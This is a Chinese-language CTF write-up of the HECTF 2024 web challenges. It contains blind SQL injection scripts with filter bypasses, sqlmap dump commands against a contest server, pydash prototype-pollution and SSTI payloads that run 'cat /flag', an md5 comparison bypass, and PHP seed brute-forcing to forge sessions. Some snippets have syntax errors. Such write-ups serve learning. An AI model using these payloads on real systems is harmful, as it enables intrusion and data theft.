2024HECTFweb
2024HECTFweb
babysql
直接万能密码过
进入查询后台
测试发现是盲注,可以使用布尔盲注,这里采用时间盲注
接下来就是脚本
首先跑一个fuzz字典看有哪儿些东西被过滤了
可以看到有些重要的东西也被过滤了,像空格,information_schema
测试
from requests import post
base_url = 'xxx/worker.php'
payload = "1'/**/or/**/if((select/**/database())like/**/database(),sleep(3),0)#"
data = {"name":payload}
def check_time(data):
try:
res=post(base_url, data=data,timeout=2)
#如果没有超时说明失败了
return "failure"
except:
return "success"
print(check_time(data))
解下来就可以打时间盲注了
脚本网上有很多,这里就不写那么全面了,简单的认识前面几个,后面的也就是payload变化一下
from requests import post
import string
import time
base_url = 'xxx/worker.php'
alpha="{_}[]-"+ string.ascii_letters + string.digits
#payload = "1'/**/or/**/if((select/**/database())like/**/database(),sleep(3),0)#"
#data = {"name":payload}
def check_time(data):
try:
res=post(base_url, data=data,timeout=20)
#如果没有超时说明失败了
return "failure"
except Exception as e:
return "success"
#时间盲注爆破数据库长度函数
# def db_name_len():
# i=1
# while True:
# payload="hh'/**/or/**/if((select/**/length(database()))/**/like/**/{},sleep(20),sleep(0))#".format(i)
# data={"name":payload}
# time.sleep(0.3)
#
# if check_time(data) == "success":
# print("数据库长度: %d"%i)
# return i
# i += 1
# print(i)
#数据库长度为7
#db_name_len()
#爆破数据库名
def brust_sce_name():
name=""
for i in range(1,8):
for j in alpha:
#payload= "hh'/**/or/**/if(substr(database(),{},1)/**/like/**/'{}',sleep(20),sleep(0))#".format(i,j)
payload = "g01den'/**/Or/**/if(substr(database(),{},1)/**/like/**/'{}',sLeep(20),sLeep(0))#".format(i,j)
data = {"name":payload}
time.sleep(0.3)
if check_time(data) == "success":
name += j
break
print("数据库的名字是: "+name)
return name
brust_sce_name()
这里有个坑点就是过滤了information_schema, g01den师傅还是想来喜欢被暴打,出的题就是有水平
这里可以使用mysql的innodb来绕过:mysql.innodb_table_stats mysql.innodb_index_stats
可以大致看看这里面有些什么东西
select * from innodb_index_stats
| database_name | varchar(64) | NO | PRI | NULL | |
| table_name | varchar(64) | NO | PRI | NULL | |
| index_name | varchar(64) | NO | PRI | NULL | |
| last_update | timestamp | NO | | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
| stat_name | varchar(64) | NO | PRI | NULL | |
| stat_value | bigint(20) unsigned | NO | | NULL | |
| sample_size | bigint(20) unsigned | YES | | NULL | |
| stat_description | varchar(1024) | NO | | NULL | |
database_name 数据库名
table_name 表名
index_name 索引名
last_update 最后一次更新时间
stat_name 统计名
stat_value 统计值
sample_size 样本大小
stat_description 统计说明-索引对应的字段名
mysql.innodb_index_stats
Innodb_table_stats
| database_name | varchar(64) | NO | PRI | NULL | |
| table_name | varchar(64) | NO | PRI | NULL | |
| last_update | timestamp | NO | | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
| n_rows | bigint(20) unsigned | NO | | NULL | |
| clustered_index_size | bigint(20) unsigned | NO | | NULL | |
| sum_of_other_index_sizes | bigint(20) unsigned | NO | | NULL |
database_name 数据库名
table_name 表名
last_update 最后一次更新时间
n_rows 表中总有多少列数据
clustered_index_size 聚集索引大小(数据页)
sum_of_other_index_sizes 其他索引大小(数据页)
import time
def db_name_count():
i = 1
while True:
payload = (
"g01den'/**/Or/**/if((seLect/**/COUNT(database_name)/**/fRom/**/mysql.innodb_table_stats)"
"/**/like/**/{},sLeep(20),sLeep(0))#".format(i)
)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
print("数据库的个数为" + str(i))
return i
i += 1
def db_name_len_list():
name_len_list = []
for i in range(4):
for j in range(100):
payload = (
"g01den'/**/Or/**/if((select/**/length(database_name)/**/from/**/mysql.innodb_table_stats"
"/**/limit/**/{},1)/**/like/**/{},sleep(20),sleep(0))#".format(i, j)
)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
name_len_list.append(j)
break
print(name_len_list)
return name_len_list
# 示例调用函数
# db_name_count()
# db_name_len_list()
以上方法很看基本功,这个题目,很多师傅都用sqlmap一把嗦出来了。
sqlmap -u “xxx/index.php” -data “name=admin&pw=-1” –dbs - -dump
available databases [7]:
[*] flag1shere
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] users
[*] workers
Database: users
Table: login
[2 entries]
+----+----------------------------------+----------+
| id | passwd | username |
+----+----------------------------------+----------+
| 0 | fc2ce1340d3eaa16d68dbfb35d3aaac6 | admin |
| 1 | 50590173d2888d5e33742cd68d02efad | test |
+----+----------------------------------+----------+
sqlmap -u “http://8.153.107.216:30326/index.php” -data “name=admin&pw=-1” –
tables -D “flag1shere” –dump
[22:12:32] [INFO] retrieved:
[22:12:38] [INFO] adjusting time delay to 1 second due to good response times
flag_is_
[22:13:16] [ERROR] invalid character detected. retrying..
[22:13:16] [WARNING] increasing time delay to 2 seconds
in_flag1shere_loockhere_flag
[22:16:40] [INFO] retrieved: lookhere
Database: flag1shere
[2 tables]
+--------------------------------------+
| flag_is_in_flag1shere_loockhere_flag |
| lookhere |
+--------------------------------------+
[22:17:38] [INFO] fetching columns for table
'flag_is_in_flag1shere_loockhere_flag' in database 'flag1shere'
[22:17:38] [INFO] retrieved: 1
[22:17:41] [INFO] retrieved: hint
[22:18:15] [INFO] fetching entries for table
'flag_is_in_flag1shere_loockhere_flag' in database 'flag1shere'
[22:18:15] [INFO] fetching number of entries for table
'flag_is_in_flag1shere_loockhere_flag' in database 'flag1shere'
[22:18:15] [INFO] retrieved: 1
[22:18:18] [WARNING] (case) time-based comparison requires reset of statistical
model, please wait.............................. (done)
flag is in flag1shere.lookhere.flag
Database: flag1shere
Table: flag_is_in_flag1shere_loockhere_flag
[1 entry]
+-------------------------------------+
| hint |
+-------------------------------------+
| flag is in flag1shere.lookhere.flag |
+-------------------------------------+
[22:22:28] [INFO] table 'flag1shere.flag_is_in_flag1shere_loockhere_flag' dumped
to CSV file
'/root/.local/share/sqlmap/output/8.153.107.216/dump/flag1shere/flag_is_in_flag1
shere_loockhere_flag.csv'
[22:22:28] [INFO] fetching columns for table 'lookhere' in database 'flag1shere'
[22:22:28] [INFO] retrieved: 1
[22:22:30] [INFO] retrieved: flag
[22:22:57] [INFO] fetching entries for table 'lookhere' in database 'flag1shere'
[22:22:57] [INFO] fetching number of entries for table 'lookhere' in database
'flag1shere'
[22:22:57] [INFO] retrieved: 1
[22:22:59] [WARNING] (case) time-based comparison requires reset of statistical
model, please wait.............................. (done)
HECTF{df1b330bbc22
[22:24:51] [INFO] adjusting time delay to 1 second due to good response times
80e5021137e34461c224907f45c3}
Database: flag1shere
Table: lookhere
[1 entry]
+-------------------------------------------------+
| flag |
+-------------------------------------------------+
| HECTF{df1b330bbc2280e5021137e34461c224907f45c3} |
+-------------------------------------------------+
[22:26:40] [INFO] table 'flag1shere.lookhere' dumped to CSV file
'/root/.local/share/sqlmap/output/8.153.107.216/dump/flag1shere/lookhere.csv'
[22:26:40] [INFO] fetched data logged to text files under
'/root/.local/share/sqlmap/output/8.153.107.216'
[22:26:40] [WARNING] your sqlmap version is outdated
[*] ending @ 22:26:40 /2024-12-07/
得到
HECTF{df1b330bbc2280e5021137e34461c224907f45c3}
你一个人专属的进货网站:
两个文件app.py和Wav.py
Wav.py
blacklist = [
xxxxxxxx
]
def waf(strings):
for temp in blacklist:
if temp in strings:
return True
else:
pass
return False
app.py
"""
题目描述:w41tm00n第一次学习开发网站,老板让他三天之内搞定。
第二天,w41tm00n终于写完了代码,并且进行了调试,网站在服务器上能够正常运行,但是w41tm00n没学过网安的知识,写的网站存在漏洞
你作为w41tm00n的好朋友,同时你也是位网安的实习生,w41tm00n就找到了你帮他测试网站是否存在漏洞。
w41tm00n跟你说,他放了一个惊喜在服务器上,如果你成功入侵了这个服务器的话就可以得到这个礼物的线索(/flag文件)
"""
import WAF
import os
from flask import Flask, render_template, redirect, request, session,render_template_string
from pydash import set_
#pip install -v pydash==5.1.2
app = Flask(__name__)
app.secret_key = os.urandom(24)
login = 0
user = None
class Users:
def __init__(self, username, password,gender="secret"):
self.username = username
self.password = password
self.gender = gender
self.property = 0
self.purchased = 0
class Apple:
def __init__(self):
self.price = 15
self.inventory = 1000
apple = Apple()
def veryfy():
if session.get('verify') == "admin":
return True
else:
return False
@app.route('/')
def main():
if not session.get('username'):
return redirect("/login",302)
else:
return render_template("index.html")
@app.route('/login', methods=['GET','POST'])
def login():
try:
username = request.form['username']
password = request.form['password']
except KeyError:
username = None
password = None
if username and password:
global login
global user
login= 1
user = Users(username, password)
session['username'] = user.username
session['password'] = user.password
session['verify'] = "user"
return redirect("/",302)
else:
return render_template('login.html')
@app.route('/admin', methods=['GET','POST'])
def admin():
if veryfy() == True:
render_html = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>你好admin</title>
</head>
<body>
当前管理员账户的用户名:%s </br>
剩余苹果数量为:%d </br>
<a href="/stock"><button>重新进或1000苹果</button></a>
</br>
<a href="/"><button>主页</button></a>
</body>
</html>
"""
if WAF.waf(user.username):
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>NO,Hacker</title>
</head>
<body>
<script>
alert("No,Hacker");
location.href = "/login";
</script>
</br>
</body>
</html>
"""
else:
return render_template_string(render_html%(user.username,apple.inventory))
else:
return render_template("admin_false.html")
@app.route('/setUserInfo', methods=['GET','POST'])
def setUserInfo():
if request.method == 'GET':
if login == 1:
return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)
else:
return redirect("/login",302)
if request.method == 'POST':
try:
key = request.form['key']
value = request.form['value']
except KeyError:
key = None
value = None
if key and value:
if key == "username":
session["username"] = key
elif key == "password":
session["password"] = key
set_(user,key,value)
return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)
else:
return "输入异常!"
@app.route("/purchase",methods=['GET','POST'])
def purchase():
if request.method == 'GET':
return render_template("purchase.html",apple_price=apple.price,apple_inventory=apple.inventory)
if request.method == 'POST':
try:
count = int(request.form['count'])
except KeyError:
count = 0
if count != 0:
if count > apple.inventory:
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>存货不足</title>
</head>
<body>
存货不足,请等待进货
</body>
<script>
alert("存货不足,请等待进货");
location.href = "/purchase";
</script>
</html>
"""
if user.property >= apple.price * count:
user.purchased += count
apple.inventory -= count
user.property -= apple.price * count
return render_template("purchase.html",apple_price=apple.price,apple_inventory=apple.inventory)
else:
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>金额不足</title>
</head>
<body>
金额不足,请充值
</body>
<script>
alert("金额不足,请充值");
location.href = "/purchase";
</script>
</html>
"""
@app.route("/stock", methods=["GET", "POST"])
def stock():
if veryfy() == True:
apple.inventory = 1000
return """
<script>
location.href = "/admin";
</script>
"""
else:
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>权限不足</title>
</head>
<body>
权限不足
</body>
<script>
alert("权限不足");
location.href = "/login";
</script>
</html>
"""
if __name__ == '__main__':
app.run()
来看几个关键的点
admin路由很明显有ssti
一个session的admin验证:veryfy() == True
一个黑名单的检查:if WAF.waf(user.username):
@app.route('/admin', methods=['GET','POST'])
def admin():
if veryfy() == True:
render_html = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>你好admin</title>
</head>
<body>
当前管理员账户的用户名:%s </br>
剩余苹果数量为:%d </br>
<a href="/stock"><button>重新进或1000苹果</button></a>
</br>
<a href="/"><button>主页</button></a>
</body>
</html>
"""
if WAF.waf(user.username):
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>NO,Hacker</title>
</head>
<body>
<script>
alert("No,Hacker");
location.href = "/login";
</script>
</br>
</body>
</html>
"""
else:
return render_template_string(render_html%(user.username,apple.inventory))
else:
return render_template("admin_false.html")
setUserInfo路由很明显有原型链污染漏洞
@app.route('/setUserInfo', methods=['GET','POST'])
def setUserInfo():
if request.method == 'GET':
if login == 1:
return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)
else:
return redirect("/login",302)
if request.method == 'POST':
try:
key = request.form['key']
value = request.form['value']
except KeyError:
key = None
value = None
if key and value:
if key == "username":
session["username"] = key
elif key == "password":
session["password"] = key
set_(user,key,value)
return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)
else:
return "输入异常!"
所以攻击思路也很明确,伪造session,进入admin路由,进行绕过黑名单的ssti
app.secret_key = os.urandom(24)
os.urandom(24):
os.urandom() 函数从操作系统提供的随机数生成器中获取指定数量的随机字节。在这个例子中,24 表示获取 24 个字节(即 192 位)的随机数据。
这些随机字节可以用来创建一个强随机的密钥,这对于提高应用程序的安全性至关重要。
app.secret_key:
在 Flask 中,secret_key 是一个配置变量,用于对会话数据进行加密签名。这意味着当用户与你的应用交互时,他们的会话信息(如登录状态、购物车内容等)将被加密存储在浏览器的 cookie 中。
如果没有设置 secret_key,Flask 将无法正确地管理会话,并且可能会抛出警告或错误。
这个密钥不是伪随机数,没办法逆向破解,其他师傅在这儿也开玩笑的说除非搬出量子计算机
所以既然有原型链污染漏洞,那么我们就直接去污染这个secret_key,然后利用脚本破解或工具原始数据格式,伪造admin
set_(user,key,value)
key=__class__.__init__.__globals__.app.config.SECRET_KRY&value=123456
这里直接引用其他师傅的话
进⼊后测试ssti,发现waf把{{}}和{%%}全部拦截,那就没有payload可以打通了。
这里就很恶心了,blacklist几乎过滤掉了能想到的所有东西(赛后放出了看了)
但是我们有原型链污染这个洞,WAF是导⼊的WAF类,⾥⾯有blacklist属性,那我们可以污染
上面这句话就是解题的关键,当时我就跟本没利用好原型链污染这个洞,没有想到还可以打waf,也是学到了
blacklist为空,那么waf就失效了,payload:
key=class.init.globals.WAF.blacklist&value=[]
既然waf没了,那么随便拿个payload都能打
先改waf,然后ssti读flag,最访问admin路由即可 /admin
POST /setUserInfo
key=__class__.__init__.__globals__.WAF.blacklist&value=1&Button=%E6%8F%90%E4%B
A%A4
POST /setUserInfo
key=username&value={{cycler.__init__.__globals__.os.popen('cat
/flag').read()}}&Button=%E6%8F%90%E4%BA%A4
这里粘一下大佬师傅的其他打法
ezweb
这道题,比赛的时候没有怎么看,现在回头复现一下
前端源码发现一串base64编码,base64解码后得到:
if ($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])) {
if ($_GET['c'] != $_GET['d'] && md5($_GET['c']) === md5($_GET['d'])) {
if (isset($_GET['guess']) && md5($_GET['guess']) === 'aa476cf7143fe69c29b36e4d0a793604') { //xxxxx2024
highlight_file("secret.php");
}
}
}
第一层是md5弱比较可以使用0e绕过,第二层是md5强比较,用数组或者碰撞绕过。第三层,是hectf2024的提示,xxxx不确定大小写,需要用脚本跑。
import hashlib
def generate_case_combinations(word):
combinations = []
length = len(word)
for i in range(2 ** length):
combination = ''
for j in range(length):
if (i >> j) & 1: #一趟i逐步移动5位,也就是length的长度,然后每次比较最右边的一位,1大写,0小写
combination += word[j].upper()
else:
combination += word[j].lower()
combinations.append(combination)
return combinations
# 获取所有大小写组合并存储在列表中
combinations_list = generate_case_combinations("hectf")
# 打印结果
# for combo in combinations_list:
# print(combo)
with open('a.txt','w') as f:
for line in combinations_list:
f.write(line + '\n')
print("finish write")
with open('a.txt','r') as f :
listOfLines = f.readlines()
for line in listOfLines:
md5hash = hashlib.md5(line.strip().encode())
md5 = md5hash.hexdigest()
print(md5)
payload:GET:?a=QNKCDZO&b=240610708&c[]=0&d[]=1&guess=hECTf2024
得到secret.php
<?php
error_reporting(0);
// mt_srand(rand(1e5, 1e7));
// $key = rand();
// file_put_contents(*, $key);
function session_decrypt($session, $key)
{
$data = base64_decode($session);
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = substr($data, 0, $iv_size);
$enc = substr($data, $iv_size);
return openssl_decrypt($enc, $method, $key, 1, $iv);
}
rand(1e5, 1e7) 实际上是在生成一个介于 100,000 和 10,000,000 之间的随机整数。
这里借用其他师傅的解答和思路,在这里先谢谢师傅的优质wp
接下来给出的是一个session解密代码,虽然key是随机的,但是种子范围很小,可以进行爆破,爆破所得的是一串序列化文本,然后修改相应数据为admin,再次进行加密,更改cookie并发送请求就可以获得flag
运行爆破的密码:
<?php
function session_decrypt($session,$key){
$data=base64_decode($session);
$method='AES-256-CBC';
$iv_size=openssl_cipher_iv_length($method);
$iv=substr($data,0,$iv_size);
$enc=substr($data,$iv_size);
return openssl_decrypt($enc,$method,$key,1,$iv);
}
$session="cAVQ3Rj2B26JBY2/zJZTfQcjdLCeBz6XTf1ShPbkQI71rJxMV43Dya/V7+Jb5gdDV+m20B4U1rA DwjZATnoc6Pn5nXtUEg+mfjTq+3wAGp7FqPY2XEVvZ0440B3AvxRF";
for($i=1e5;$i<=1e7;i++)
{
mt_srand($i);
key=rand();
$t=session_decrypt($session,$key);
if($t[0]!="")
{
echo $i;
echo ' ';
echo $t;
echo PHP_EOL;
}
}
爆破结果
重新加密运行的代码
<?php
function session_decrypt($session,$key){
$data=base64_decode($session);
$method='AES-256-CBC';
$iv_size=openssl_cipher_iv_length($method);
$iv=substr($data,0,$iv_size);
$enc=substr($data,$iv_size);
return openssl_decrypt($enc,$method,$key,1,$iv);
}
function session_encrypt($data,$key){
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = openssl_random_pseudo_bytes($iv_size);
$encrypted = openssl_encrypt($data,$method,$key,1,$iv);
$result = base64_encode($iv . $encrypted);
return $result;
}
$session="O:4:\"User\":2:{s:8:\"username";s:5:\"admin\";s:4\"role";s:5:\"admin\";}";
$i=42984744;
{
mt_srand($i);
$key = rand();
$t=session_encrypt($session,$key);
{
echo $i;
echo ' ';
echo "$key";
echo ' ';
echo $t;
echo PHP_EOL;
}
echo session_decrypt($t,$key);
}
官方exp
<?php
error_reporting(0);
function session_encrypt($message, $key)
{
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = openssl_random_pseudo_bytes($iv_size);
$enc = openssl_encrypt($message, $method, $key, OPENSSL_RAW_DATA, $iv);
return base64_encode($iv . $enc);
}
function session_decrypt($session, $key)
{
$data = base64_decode($session);
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = substr($data, 0, $iv_size);
$enc = substr($data, $iv_size);
return openssl_decrypt($enc, $method, $key, OPENSSL_RAW_DATA, $iv);
}
$token = urldecode("token");
for ($i = 1e5; $i <= 1e7; $i++) {
mt_srand($i);
$key = rand();
if (strpos(session_decrypt($token, $key), "guest") !== false) {
echo "Find it: " . $key;
var_dump(session_decrypt($token, $key));
break;
}
}
var_dump(session_encrypt('O:4:"User":2:{s:8:"username";s:5:"guest";s:4:"role";s:5:"admin";}', $key));
ezjava
还有一道java题,由于javaweb很生疏,所以这个就留到不久的将来复现吧
至此
2024HECTF的篇章差不多要翻页了!✌️
🥳🥳🥳
真的学无♾️📖📖📖…